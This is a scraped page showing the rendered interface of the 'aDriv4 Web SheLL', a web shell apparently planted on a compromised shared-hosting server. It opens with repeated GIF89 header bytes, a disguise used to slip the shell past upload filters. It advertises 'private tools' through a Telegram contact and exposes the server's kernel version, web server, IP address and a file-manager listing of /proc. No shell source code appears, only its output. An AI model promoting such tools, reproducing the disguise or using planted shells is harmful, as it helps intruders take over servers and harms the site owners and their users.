GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium200.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 66.29.132.5
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-07-02 07:51:45
.. dir - root/root 0755 2025-08-02 07:22:02
2159552 dir - newspseo/newspseo 0555 2025-11-14 07:32:19
2212501 dir - newspseo/newspseo 0555 2025-11-14 07:32:19
2218538 dir - newspseo/newspseo 0555 2025-11-14 07:32:21
2218663 dir - newspseo/newspseo 0555 2025-11-14 07:32:22
301924 dir - newspseo/newspseo 0555 2025-11-14 07:32:42
3862783 dir - newspseo/newspseo 0555 2025-11-14 07:32:42
acpi dir - root/root 0555 2025-07-02 07:51:48
bus dir - root/root 0555 2025-07-02 07:51:57
driver dir - root/root 0555 2025-11-14 07:32:54
fs dir - root/root 0555 2025-07-02 07:51:57
irq dir - root/root 0555 2025-07-02 07:51:57
kcare dir - root/root 0555 2025-11-14 07:32:54
lve dir - root/root 0555 2025-11-14 07:32:54
net link - newspseo/newspseo 0555 2025-11-14 07:32:54
scsi dir - root/root 0555 2025-07-02 07:51:57
self link - newspseo/newspseo 0555 2025-11-14 07:32:21
sys dir - root/root 0555 2025-07-02 07:51:46
sysvipc dir - root/root 0555 2025-11-14 07:32:54
thread-self link - newspseo/newspseo 0555 2025-11-14 07:32:48
tty dir - root/root 0555 2025-11-14 07:32:54
buddyinfo 0 B root/root 0444 2025-11-14 07:32:54
cgroups 0 B root/root 0444 2025-11-14 07:32:54
cmdline text/plain 0 B root/root 0444 2025-11-14 07:32:54
consoles 0 B root/root 0444 2025-11-14 07:32:54
cpuinfo text/plain 0 B root/root 0444 2025-11-14 07:32:54
crypto 0 B root/root 0444 2025-11-14 07:32:54
devices 0 B root/root 0444 2025-11-14 07:32:54
diskstats 0 B root/root 0444 2025-11-14 07:32:54
dma 0 B root/root 0444 2025-11-14 07:32:54
execdomains 0 B root/root 0444 2025-11-14 07:32:54
fb 0 B root/root 0444 2025-11-14 07:32:54
filesystems text/plain 0 B root/root 0444 2025-11-14 07:32:48
interrupts 0 B root/root 0444 2025-11-14 07:32:54
iomem 0 B root/root 0444 2025-11-14 07:32:54
ioports 0 B root/root 0444 2025-11-14 07:32:54
kallsyms 0 B root/root 0444 2025-07-02 07:51:57
kcore 128 TB root/root 0400 2025-07-02 07:51:48
key-users 0 B root/root 0444 2025-11-14 07:32:54
keys 0 B root/root 0444 2025-11-14 07:32:54
kmsg 0 B root/root 0400 2025-11-14 07:32:54
kpagecgroup 0 B root/root 0400 2025-11-14 07:32:54
kpagecount 0 B root/root 0400 2025-11-14 07:32:54
kpageflags 0 B root/root 0400 2025-11-14 07:32:54
loadavg text/plain 0 B root/root 0444 2025-11-14 07:32:48
locks 0 B root/root 0444 2025-11-14 07:32:54
mdstat 0 B root/root 0444 2025-11-14 07:32:54
meminfo text/plain 0 B root/root 0444 2025-11-14 07:32:07
misc 0 B root/root 0444 2025-11-14 07:32:54
modules 0 B root/root 0444 2025-11-14 07:32:54
mounts text/plain 0 B newspseo/newspseo 0444 2025-11-14 07:32:54
mtrr 0 B root/root 0644 2025-07-02 07:51:57
pagetypeinfo 0 B root/root 0400 2025-11-14 07:32:54
partitions 0 B root/root 0444 2025-11-14 07:32:54
sched_debug 0 B root/root 0444 2025-11-14 07:32:54
schedstat 0 B root/root 0444 2025-11-14 07:32:54
slabinfo 0 B root/root 0400 2025-11-14 07:32:54
softirqs 0 B root/root 0444 2025-11-14 07:32:54
stat text/plain 0 B root/root 0444 2025-11-14 07:32:48
swaps 0 B root/root 0444 2025-07-02 07:51:46
sysrq-trigger 0 B root/root 0200 2025-07-02 07:51:57
timer_list 0 B root/root 0400 2025-11-14 07:32:54
uptime text/plain 0 B root/root 0444 2025-11-14 07:32:07
version text/plain 0 B root/root 0444 2025-11-14 07:32:54
vmallocinfo 0 B root/root 0400 2025-11-14 07:32:54
vmstat 0 B root/root 0444 2025-11-14 07:32:54
zoneinfo 0 B root/root 0444 2025-11-14 07:32:54
© aDriv4